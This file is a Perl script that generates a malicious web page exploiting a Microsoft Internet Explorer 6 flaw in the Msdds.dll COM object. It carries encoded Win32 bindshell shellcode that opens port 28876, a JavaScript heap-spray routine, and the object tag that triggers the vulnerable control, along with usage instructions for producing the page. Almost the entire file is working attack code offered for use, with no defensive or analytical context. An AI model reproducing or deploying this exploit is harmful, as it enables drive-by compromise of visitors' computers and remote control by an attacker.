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80 lines
3.3 KiB
Plaintext
80 lines
3.3 KiB
Plaintext
#######################################################
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#
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# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit (0day)
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#
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# Bindshell on port 28876 - Vulnerability discovered and exploited by Anonymous
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#
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# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
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#
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# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
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#
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# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
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#
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# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
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#
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#######################################################
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#
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# This program is free software; you can redistribute it and/or modify it under
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# the terms of the GNU General Public License version 2, 1991 as published by
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# the Free Software Foundation.
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#
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# This program is distributed in the hope that it will be useful, but WITHOUT
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# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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# details.
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#
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# A copy of the GNU General Public License can be found at:
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# http://www.gnu.org/licenses/gpl.html
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# or you can write to:
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# Free Software Foundation, Inc.
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# 59 Temple Place - Suite 330
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# Boston, MA 02111-1307
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# USA.
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#
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#######################################################
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# header
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my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";
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# Win32 bindshell (port 28876) - SkyLined
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my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
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"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
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"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
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"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
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"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
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"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
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"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
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"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
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"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
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"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
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"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
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"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
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"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
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"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
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"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
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"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
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"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
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"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
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"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";
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# Memory
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my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
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"headersize = 20;\n".
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"slackspace = headersize+shellcode.length\n".
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"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
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"fillblock = bigblock.substring(0, slackspace);\n".
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"block = bigblock.substring(0, bigblock.length-slackspace);\n".
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"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
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"memory = new Array();\n".
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"for (i=0;i<700;i++) memory[i] = block + shellcode;\n".
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"</SCRIPT>\n";
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# Msdds.dll
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my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';
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# footer
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my $footer = "<object classid=\"CLSID:".$clsid."\"></object></body></html>\n".
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"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";
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# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
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print "$header $shellcode $code $footer"; |